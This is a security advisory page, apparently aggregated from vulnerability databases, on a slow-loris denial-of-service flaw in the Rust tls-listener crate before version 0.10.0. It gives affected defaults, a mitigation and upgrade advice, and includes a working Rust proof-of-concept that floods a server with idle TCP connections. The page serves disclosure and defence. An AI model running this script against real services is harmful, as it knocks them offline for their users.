Summary

Slow loris vulnerability with default configuration

Details

tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Severity

7.5 (High)

Vulnerability from cvelistv5 – Published: 2024-03-15 18:54 – Updated: 2024-08-02 00:56

GHSA-2QPH-QPVM-2QF7

Vulnerability from github – Published: 2024-03-15 19:57 – Updated: 2025-04-09 19:58

Summary

tls-listener affected by the slow loris vulnerability with default configuration

Details

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Severity

7.5 (High)

This impacts any publically accessible service using the default configuration of `tls-listener`\n\n\n### Mitigation\n\nPrevious versions can mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.",

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
